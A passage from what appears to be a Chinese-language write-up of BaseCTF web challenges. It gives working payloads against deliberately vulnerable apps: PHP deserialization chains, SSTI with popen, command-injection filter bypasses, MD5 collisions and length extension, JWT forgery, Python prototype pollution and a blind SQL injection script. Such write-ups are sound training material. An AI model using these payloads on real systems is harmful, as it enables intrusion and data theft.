echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>

这里的链子就是

web->re->pwn->misc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
class re{
public $chu0;
}
class web {
public $kw;
public $dt;
}
class pwn {
public $dusk;
public $over;
}
class Misc {
public $nothing;
public $flag;
}
$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->over=new Misc();
echo serialize($a);
O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

[Week2] 一起吃豆豆

直接查看源码的index.js仔细看就可以的到一个类似加密的密文

解密的flag

[Week2] 你听不到我的声音

1
2
3
<?php 
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

这里直接执行命令没有回显,所以可以通过将命令写入文件来实现

1
2
ls />1.txt
cat /*>1.txt

[Week2] Really EZ POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php 
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
<?php
class Sink
{
private $cmd = 'system("cat /*");';
}
class Shark
{
private $word ;
public function __construct()
{
$this->word=new Sink;
}
}
class Sea
{
public $animal;

}
class Nature
{
public $sea;
}
$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
echo urlencode(serialize($a));

在bp中进行提交

1
nature=O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22system%28%22cat+%2F%2A%22%29%3B%22%3B%7D%7D%7D%7D

[Week2] RCEisamazingwithspace

1
2
3
4
5
6
7
8
9
10
11
<?php 
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);

这里进行了空格过滤,尝试了一下不能通过%09来绕过,但是${IFS}可以

1
cmd=cat${IFS}/*

[Week2] 所以你说你懂 MD5?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php 
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');加强难度就不会了?

这里有四层

第一层直接通过数组绕过即可

1
apple[]=1&banana[]=2

第二层通过md5值为0e开头的字符串即可

1
appple=s878926199a&bananana=s155964671a

第三层通过强碰撞绕过即可,这里要通过bp不能通过hackbar来传参

1
apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第四层通过就是哈希长度扩展,这里就通过hash-ext-attack-master来自动生成

bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16))这里相当于96位的字符串即密钥

name里面后面要添加admin字符串所以我们需要在后面添加一个以admin结尾的字符串,其它任意,这里就随便为qadmin

这里题目会给一个原始的md5值

这里最后就可以提交的flag

1
apple[]=1&banana[]=2&appple=s878926199a&bananana=s155964671a&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=c15df3f0cb8dc43eccdbd0514d79eddb

[Week2] 数学大师

这个就是纯脚本

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

本题依赖 session,请在请求时开启 session cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import re
import json

session=requests.Session()
session.cookies.set("PHPSESSID","bsr9th8eakpubabbiteqrus6uj")
def calculate_expression(expression):
try:
# 使用eval来计算表达式,注意eval有安全风险,实际使用时请确保表达式来源安全
return eval(expression)
except Exception as e:
print(f"Error calculating expression {expression}: {e}")
return None

def extract_and_calculate(expression_string):
# 使用正则表达式提取数字和运算符组成的表达式
expression = expression_string.replace('×', '*').replace('÷', '/')
print(expression)
match = re.search( r'\d+[\-\+\*\/]\d+', expression)
print(match)
if match:
exp=match.group(0)
print(exp)
result = calculate_expression(exp)
return result
else:
print("No valid expression found in the string.")
return None

def send_result(result, send_url):
try:
payload = {"answer": result}
response = session.post(send_url, data=payload)
#response.raise_for_status() # 检查请求是否成功
data=response.text
print(response.text)
result = extract_and_calculate(data)
if result is not None:
send_result(result, send_url)
except requests.RequestException as e:
print(f"Failed to send result: {e}")

# 模拟的URL,你需要替换成实际的URL
fetch_url = "http://challenge.basectf.fun:45312/"
send_url = "http://challenge.basectf.fun:45312/"

response = session.get(fetch_url)
#response.raise_for_status() # 检查请求是否成功
data = response.text # 假设返回的是纯文本
print(data)
result = extract_and_calculate(data)
if result is not None:
send_result(result, send_url)

这个是累计50题,所以直接跑就可以

1
2
?K=DirectoryIterator&W=glob:///secret/*
J=SplFileObject&H=/secret/f11444g.php

[Week3] ez_php_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>

首先先看提交的参数,Jail_by.Happy,这个不是一个合法的参数,所以需要对其合理化,将前面的 _ 替换为[即可

1
?Jail[by.Happy=phpinfo();

这个就是一个rce,但是这里禁用了很多的东西,可以通过提交 phpinfo(); 来查看信息

这里还禁用了许多的字母和字符,我们就可以通过使用php内置函数来进行绕过

1
2
3
4
?Jail[by.Happy=print_r(glob('/f*'));
?Jail[by.Happy=print_r(implode(glob('/f*')));//这里来读取数组里面的内容
?Jail[by.Happy=highlight_file(implode(glob('/f*')));
?Jail[by.Happy=highlight_file(glob('/f*')[0]);

[Week3] 复读机

这里是一个ssti的漏洞

首先需要在开头以BaseCTF,并且禁用了 双大括号 和 __ 还有许多的常见的关键词,比如config,lipsum,还有url_for

这里就需要通过爆破出可以利用的模块,这里尝试通过os,但是发现没有成功,就只能尝试通过其它的模块来执行

1
{{''.__class__.__bases__.__subclasses__()[137].__init__.__globals__['popen']('ls /').read()}}

1
2
3
4
5
6
7
8
9
10
import requests

for i in range(500):
url = "http://challenge.basectf.fun:40577/flag"
data={'flag':"BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')("+str(i)+")|attr('_''_in''it_''_')|attr('_''_glo''bals_''_'))%}"}
res = requests.post(url=url,data=data)
if 'popen' in res.text:
print(i)
break
#137

所以在137这里就有popen,这里就可以通过popen来执行命令

1
BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(137)|attr('_''_in''it_''_')|attr('_''_glo''bals_''_')|attr('_''_getit''em_''_')('po''p''en')('ls'))|attr('read')()))%}"}

最面就是通过rce的绕过,/flag,直接通过python的格式化字符串即可进行绕过

1
BaseCTF{%print(''|attr('_''_cla''ss_''_')|attr('_''_ba''se_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(137)|attr('_''_in''it_''_')|attr('_''_glo''bals_''_')|attr('_''_getit''em_''_')('po''p''en')('cat %c%c%c%c%c'%(47,102,108,97,103)))|attr('read')()))%}"}

[Week3] 滤个不停

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

这里是一个文件包含,并且不可以通过伪协议来进行读取,它提示我们需要在提交中包含一些字母

1
['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']

这里因为不能进行常规的文件包含,所以需要通过包含一些特殊的路径

1
incompetent=HelloWorld&Datch=/var/log/nginx/access.log

所以就可以通过在bp里面进行构造

[Week3] 玩原神玩的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
}

这里先进行一个代码审计

1
sizeof($_POST['len']) == sizeof($array) //这里需要提交的len数组的长度与array长度相同

这里通过脚本跑出长度

1
2
3
4
5
6
7
8
9
10
11
import requests
url="http://challenge.basectf.fun:31395/"
data={}
for i in range(0,100):
key = "len[" + str(i) + "]" # 创建键
data[key] = i
resp=requests.post(url=url,data=data)
if "</code>我不管,我要玩原神!😭😭😭" in resp.text:
print(resp.text)
print(i)
break

然后就是get提交一个tip内容为 我要玩原神

1
2
3
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}

这里后面就要提交一个m,m的长度为2并且m[0]=100%,m[1]=love100%

1
2
3
4
5
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}

这里还是通过脚本来跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url="http://challenge.basectf.fun:31395/?tip=我要玩原神"
data={}
for i in range(0,100):
key = "len[" + str(i) + "]" # 创建键
data[key] = i
# if "</code>我不管,我要玩原神!😭😭😭" in resp.text:
# resp = requests.post(url=url, data=data)
# print(resp.text)
# print(i)
# break
if i==44:
data["m[0]"]="100%"
data["m[1]"]="love100%30bd7ce7de206924302499f197c7a966"
resp = requests.post(url=url, data=data)
print(resp.text)

最后就是通过获取flag里面array,这里array()里面的就是flag了,我们需要对其进行逆操作,首先这里获取了array的长度,取其第ii个元素的ascii码值,异或当前的索引进行异或,再取md5值

1
2
3
4
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

这里就只能看题解来逆操作解码了,$md5_array是json解码的值,然后就可以对其进行逆操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
include 'flag.php';
$challenge_url = "http://challenge.basectf.fun:31395/?";
$post = "";
for ($i = 0;$i < 45;$i++) {
$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)
$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"
$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';

$curl = curl_init();

curl_setopt_array($curl, [
CURLOPT_URL => $challenge_url . $get,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $post,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
],
]);

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);

if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';

for ($ii = 0; $ii < count($md5_array); $ii++) {
for ($ascii = 0; $ascii < 256; $ascii++) {
if (md5($ascii ^ $ii) === $md5_array[$ii]) {
$flag .= chr($ascii);
break;
}
}
}

echo "Flag: " . $flag;

[Week4] No JWT

这里给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string
app = Flask(__name__)
# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')

# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')

if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403

except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
app.run(debug=True)

很明显是一个jwt session伪造,这个就比较简单了

首先先拿到一个源session值,如果直接进行访问/login是没有的,它会提示你去提交一份json,这里就可以随便提交一个

这里就可以去伪造session访问/flag了

直接将jwt部分放到https://jwt.io/里面进行伪造

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk

最后将构造的payload伪造到请求头即可

1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjMyMDY1N30.B02FczhiqpJleB5rmlcZ8fCVuFfSI4s3KuDCl2KUFpk

[Week4] flag直接读取不就行了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

这里就是两个类的初始化,但是又不是反序列的题,所以想要读取文件就需要通过php的原生类来读取

首先通过DirectoryIterator来进行目录遍历,配合glob伪协议即可

1
?K=DirectoryIterator&W=glob:///secret/*  //这里可以获取flag文件所在的位置

读取文件就通过SplFileObject,再提交路径即可,最后flag在源码中

1
J=SplFileObject&H=/secret/f11444g.php

[Week4] 圣钥之战1.0

这里提示去读read目录,给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

这里发现了python原型链污染的函数,还真是一点都不变,这里/static/index.html发现可能存在一个静态的代码文件夹,所以就可以去尝试污染一下静态代码文件夹的位置

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

最后的payload就可以得,简单说明一下,通过调用一个类的init魔术方法再调用globals获取全局属性,再修改app下的静态目录地址为当前的目录即可

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

最后就可以直接访问/static/flag获取flag

[Week4] only one sql

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

这里刚开始以为可以rce,但是分析发现,输入的语句还在数据库语句中,所以应该只可以进行sql注入

1
2
show tables //Tables_in_ctf flag
show columns from flag //Field Type Null Key Default Extra id varchar(300) YES NULL data varchar(300) YES NULL

这里可以先通过show命令来获取基本的信息

这里禁用了select,不能直接获取,就可以尝试通过盲注的方法来进行读取,题解中给出

1
delete from flag where data like 'B%' and sleep(5)

%表示匹配任意数量的字符,这样就代表了B开头的字符串

这样就可以通过盲注来进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string
import time

sqlstr = "qwertyiuopasdfghjklzxcvbnm-{}1023456789"
flag=''
url = "http://challenge.basectf.fun:40165/"
for i in range(1, 100):
for c in sqlstr:
# print(c)
payload = "update flag set id = 'wi' where data regexp '^Base' and if(data REGEXP '^{}',sleep(1.5), 1)".format((flag + c))
params = {
'sql': payload
}
start_time = time.time()
r = requests.get(url=url, params=params)
print(r.text)
try:
r = requests.get(url=url,params=params)
print(r.text)
end_time = time.time()
response_time = end_time - start_time
if response_time>1:
print(flag + c)
flag += c
break
except:
print("Request failed")
continue

[Fin] 1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

这里直接提交shell没用,但是最后出的时候调用又可以

首先注意参数的合法,需要将第一个改为[才可以不让后面的.解析为

这里第一个if有两个绕过方法

1
2
?e[m.p=0337522 //这个通过八进制绕过 或者 
?e[m.p=114514.2 //通过小数绕过

后面这两个if有些矛盾,如果想直接绕过很困难,先分析一下

1
2
preg_match('/.+?HACKER/is',$try)//这里通过匹配多个字符在HACKER前面,忽略大小写和通过多行匹配,这里如果HACKER前面没用字符就不会匹配成功
!stripos($try,'HACKER') === TRUE //这里就是如果HACKER在最开始的位置出现就为true

后面的stripos没有办法绕过,但是前面的正则可以通过正则回溯来进行绕过

1
2
3
4
5
6
7
8
import requests
url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522'
data = {
'try': 'aaaa' * 250001 + 'HACKER'
}

r = requests.post(url=url, data=data).text
print(r)

最后面就是一个原生类调用

1
2
3
4
5
6
7
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();

这里需要调用类的一个方法,可以想到通过fgets来读取文件

1
2
3
4
5
6
7
8
9
10
&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets
import requests

url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
'try': 'aaaa' * 250001 + 'HACKER'
}

r = requests.post(url=url, data=data).text
print(r)

解码即可

这里也可以再提交shell来rce,但是还得构造好payload之后,真的不知道原来干嘛的

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
'try': 'aaaa' * 250001 + 'HACKER',
'shell':"system('cat f*');"
}

r = requests.post(url=url, data=data).text
print(r)

[Fin] Jinja Mark

在/index下有一个输入框,当尝试去进行ssti时就出现提示

但是当打开/magic时就需要通过post提交什么东西

先去/flag中看看

这里就可能需要我们去进行爆破的lucky_number,直接通过bp来进行爆破就可以的lucky_number

这里就是5346,提交之后就得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"

这里可以看到BLACKLIST_IN_index = [‘{‘,’}’],这里就禁用了{}所以直接ssti就有问题,很明显想让我们通过原型链污染来将其污染掉,其实也挺简单,可能/magic就是污染的地方,将上传的地方改为json再进行上传即可

1
2
3
4
5
6
7
{
"__init__":{
"__globals__":{
"BLACKLIST_IN_index":""
}
}
}

最后就是在index中进行简单的ssti即可

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

这里再讲一个非预期解,其实这里还是可以通过第一个原型链污染的方法污染静态代码目录来读取flag,和第一个的一样

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

最后访问/static/flag即可

[Fin] Lucky Number

这个直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
你不会以为这里真的有flag吧?
想要flag的话先提交我的幸运数字5346
但是我的主人觉得我泄露了太多信息,就把我的幸运数字给删除了
但是听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,你可以去/m4G1c里尝试着接触到这个方法
下面是前人留下来的信息,希望对你有用
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
